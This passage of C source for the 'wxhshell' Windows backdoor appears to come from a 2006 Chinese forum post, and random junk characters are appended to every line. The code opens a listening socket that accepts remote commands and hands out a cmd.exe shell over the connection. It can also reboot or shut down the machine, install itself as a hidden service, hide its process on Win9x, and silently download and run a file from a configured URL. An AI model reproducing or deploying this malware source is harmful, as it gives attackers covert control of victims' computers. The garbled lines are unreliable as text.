  :*BN>*1^\r  
  // 帮助 :3XvHL0rx  
  case '?': { _'1 7C /  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lZ)6d-vK  
    break; F_g(}wE# q  
  } ]n>9(Mp!M  
  // 安装 bcjh3WP  
  case 'i': { ,9}JPv4Z  
    if(Install()) a'/C)fplL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G6qZ>-GiL  
    else 8_w6% md  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J%|;  
    break; )/JVp>  
    } 8t=O=l\  
  // 卸载  maHz3:  
  case 'r': { wr:W}Z@pL  
    if(Uninstall()) H ?9Bo!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;dMr2y`6  
    else yUD@oOVC0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YgjW%q   
    break; |bSAn*6b  
    } 0^Vw^]w  
  // 显示 wxhshell 所在路径 $[ S 33Q  
  case 'p': { tmoCy0qWz  
    char svExeFile[MAX_PATH]; m1j Eky(  
    strcpy(svExeFile,"\n\r"); 7Hv 6>z#m  
      strcat(svExeFile,ExeFile); 2bLc57j{`9  
        send(wsh,svExeFile,strlen(svExeFile),0); `7y3C\zyQ  
    break; re/u3\S  
    } <9"@<[[,  
  // 重启 t( V 2  
  case 'b': { %'h:G Bkd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PX_9i@ZG  
    if(Boot(REBOOT)) T^vo9~N*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E;4B!"Q8  
    else { F.x7/;  
    closesocket(wsh); Rf8ZH  
    ExitThread(0); r>|S4O  
    } X_nbNql  
    break; Oi& 9FS  
    } Sin)]zG~0  
  // 关机 UMBeY[ ?  
  case 'd': { G~.VW48{n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^GrSvl}v'  
    if(Boot(SHUTDOWN)) K$D+TI)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qi7*Jjk>90  
    else { j DEym&-  
    closesocket(wsh); ZL0k  
    ExitThread(0); EXjR&"R  
    } 5wh(Qdib  
    break; yx&}bu\  
    } /O$~)2^h  
  // 获取shell Q.7X3A8  
  case 's': { z1,#ma}.  
    CmdShell(wsh); mZ? jpnd  
    closesocket(wsh); PWvTC`?  
    ExitThread(0); !BrZTo  
    break; 0Bp0ScE|FA  
  } 7Dl^5q.|  
  // 退出 ' Kkp!eZQ~  
  case 'x': { I]5){Q" S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h(}#s1Fzq  
    CloseIt(wsh); <_pLmYI  
    break; @XL49D12c  
    } zA$ Y@f  
  // 离开 Y>FLc* h  
  case 'q': { z;@<J8I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s0vcGh#w  
    closesocket(wsh); ] s 2ec  
    WSACleanup(); DwFvM0O6\  
    exit(1); pX3El$p  
    break; Sh-B!  
        } Z ]ZUK  
  } ^-s7>F`jx  
  } WdC7CK  
 f>mEX='w  
  // 提示信息 ;sf'"UnL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rGt]YG#C  
} ASMItT  
  } w""u]b%:r  
cdH`#X  
  return; -gC%*S5&  
} ho~WD'i  
L{&1w  
// shell模块句柄 gMq;  
int CmdShell(SOCKET sock) =? q&/ cru  
{ I|Hcs.uW  
STARTUPINFO si; d/*EuJYin<  
ZeroMemory(&si,sizeof(si)); {[NQD3=+F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )PU\|I0|)e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s/E9$*0  
PROCESS_INFORMATION ProcessInfo; c<cYX;O  
char cmdline[]="cmd"; U:MZN[Cc[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TQ/#  
  return 0; _uJ6Vy  
} R*LPwJuv  
a04S&ezj  
// 自身启动模式 {/?{UbU  
int StartFromService(void) u|EJ)dT?  
{ $1)NYsSH/H  
typedef struct Sqmjf@o$>  
{ /Z#AHfKF  
  DWORD ExitStatus; ^( C,LVP<  
  DWORD PebBaseAddress; sZqi)lo-s  
  DWORD AffinityMask; G~*R6x2g  
  DWORD BasePriority; YWi Y[  
  ULONG UniqueProcessId; CSm(yB{|pC  
  ULONG InheritedFromUniqueProcessId; :t+Lu H g  
}   PROCESS_BASIC_INFORMATION; 5HvYy *B/  
Xe/7rhov  
PROCNTQSIP NtQueryInformationProcess; ov!L8 9`[u  
lu1T+@t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d]=>U^K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #&{)`+!"  
l>HB0o  
  HANDLE             hProcess; =5%}CbUU)4  
  PROCESS_BASIC_INFORMATION pbi; s\3ZE11L  
;lTgihW-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <_bGV  
  if(NULL == hInst ) return 0; =*y{y)B^g  
!a5e{QG0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9@Z++J.^y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i~HS"n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mUb2U&6(  
[vdC$9z,  
  if (!NtQueryInformationProcess) return 0; =E~SaT  
D{[i_K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pc~)4>X<  
  if(!hProcess) return 0; ;]/cCi  
JvW!w)$pY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,Qe`(vU*s  
)GC[xo4bg  
  CloseHandle(hProcess); aO\@5i_r  
dUceZmAl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gh'{O/F4*  
if(hProcess==NULL) return 0; :J5CmU $  
wLQM]$O  
HMODULE hMod; (%M:=zm  
char procName[255]; `5~<)  
unsigned long cbNeeded; /dVcNo3"  
D%'rq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #M[Cq= 2  
(G"/C7q  
  CloseHandle(hProcess); KiNluGNt  
L=<,+m[!  
if(strstr(procName,"services")) return 1; // 以服务启动 u C`)?f*I  
W?12'EG}xa  
  return 0; // 注册表启动 z]i/hU  
} m%OX< T!  
#xrE^Txh  
// 主模块 @|~D?&<\  
int StartWxhshell(LPSTR lpCmdLine) `jDmbD +=  
{ ;wr]_@<~  
  SOCKET wsl; lCK:5$ z0  
BOOL val=TRUE; )jRaQ~Sm  
  int port=0; q]*:RI?wGT  
  struct sockaddr_in door; f6HDfJmE  
!un_JZD  
  if(wscfg.ws_autoins) Install(); pQ+4++7ID  
j%*<W> O  
port=atoi(lpCmdLine); |:`gjl_Nf  
P$;_YLr  
if(port<=0) port=wscfg.ws_port; vnz}Pr! c  
jCt[I5"+z  
  WSADATA data; 9n".Q-V;k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;|K(6)  
Aa%ks+1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ds QGj&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'P-FeN^  
  door.sin_family = AF_INET; RK=YFE 0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W&a<Q)o*I  
  door.sin_port = htons(port); {D&:^f  
K:sC6|wG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <.6$zcW  
closesocket(wsl); 9hs7B!3pc>  
return 1; !1?Nc}T0Q&  
} * @j#13.  
(KG>lTdN  
  if(listen(wsl,2) == INVALID_SOCKET) { KfNR)  
closesocket(wsl); s^AZ)k~J(  
return 1; ?Wp{tB9N0  
} noNL.%I  
  Wxhshell(wsl); ~7=w,+  
  WSACleanup(); DcLx [C  
C[(Exe  
return 0; `L}Irt}  
IqONDdep9  
} P!2[#TL0  
,t>/_pI+=  
// 以NT服务方式启动 $yg}HS7HC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !7[Rhk7bW  
{ "7a;Ap q*  
DWORD   status = 0; L~(`zO3f  
  DWORD   specificError = 0xfffffff; #9Dixsl*Q  
}u..m$h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3&JsYQu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rru `% ~'O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X'>]z'0W  
  serviceStatus.dwWin32ExitCode     = 0; 7:T 5P  
  serviceStatus.dwServiceSpecificExitCode = 0; BI6o@d;=4  
  serviceStatus.dwCheckPoint       = 0; ?en%m|}0  
  serviceStatus.dwWaitHint       = 0; u7<s_M3%N  
A@"CrVE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L pdp'9>I  
  if (hServiceStatusHandle==0) return; m)?cXM  
}mw31=2bD  
status = GetLastError(); "eal Yveu  
  if (status!=NO_ERROR) P/FO,S-V  
{ #fYz367>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bKH8/*Yk  
    serviceStatus.dwCheckPoint       = 0; F/w!4,'<?5  
    serviceStatus.dwWaitHint       = 0; .Su9fj y%  
    serviceStatus.dwWin32ExitCode     = status; G P/3r[MH  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7nHlDPps)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "VcG3.  
    return; t1 .6+  
  } GVp2| \-L  
8V3SZ17  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K]q OLtc  
  serviceStatus.dwCheckPoint       = 0; O<h`[1eUjS  
  serviceStatus.dwWaitHint       = 0; ;dYpdy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  p68) 0  
} n2H2G_-L[  
? <slB>8  
// 处理NT服务事件,比如:启动、停止 e&u HU8k*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %+9Mr ami  
{ 2FS,B\d  
switch(fdwControl) G}\E{VvWh  
{ l$Y7CIH  
case SERVICE_CONTROL_STOP: %-:6#b z  
  serviceStatus.dwWin32ExitCode = 0; l>M&S^/s j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @Tr8.4  
  serviceStatus.dwCheckPoint   = 0; vf(\?Js ,  
  serviceStatus.dwWaitHint     = 0; s?5(E}  
  { Tl Z|E '_C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \^3\_T&6  
  } -U=bC   
  return; mOyBSOad4  
case SERVICE_CONTROL_PAUSE: ?ei7jM",  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QSy=JC9  
  break; /cDla5eej  
case SERVICE_CONTROL_CONTINUE: ` oYrW0Vm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8<6;X7<-  
  break; */RtN`dh  
case SERVICE_CONTROL_INTERROGATE: |k> _ jO  
  break; :nw4K(:f  
}; (a1s~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z %MP:@z  
} y)!K@  
-q\1Tlc]3  
// 标准应用程序主函数 BaTE59W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NQ%lwE~  
{ qMz0R\4  
z&d&Ky  
// 获取操作系统版本 V4Ql6vg_f  
OsIsNt=GetOsVer(); H5=-b@(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q=E<y  
#f~#38_  
  // 从命令行安装 U w][U  
  if(strpbrk(lpCmdLine,"iI")) Install(); T.aY {Y  
5>JrTO 5  
  // 下载执行文件 dH zo_VV  
if(wscfg.ws_downexe) { >t O(S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X'WbS  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'zZN]P  
} q!9SANTx  
A3bE3Fk$  
if(!OsIsNt) { !["WnF{5eC  
// 如果时win9x,隐藏进程并且设置为注册表启动 H{`S/>)[   
HideProc(); D'#Wc#b  
StartWxhshell(lpCmdLine); 5+'1 :Sa(i  
} Rg,pC.7;  
else qv=i eU  
  if(StartFromService()) "wTA9\  
  // 以服务方式启动 ]Z@- r  
  StartServiceCtrlDispatcher(DispatchTable); ' Ky5|4  
else W)?B{\  
  // 普通方式启动 o6ec\v!l-  
  StartWxhshell(lpCmdLine); +PY LKyS>  
sUcx;<|BC  
return 0; 9dr\=e6) C  
}
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只看该作者 1 发表于: 2006-10-10
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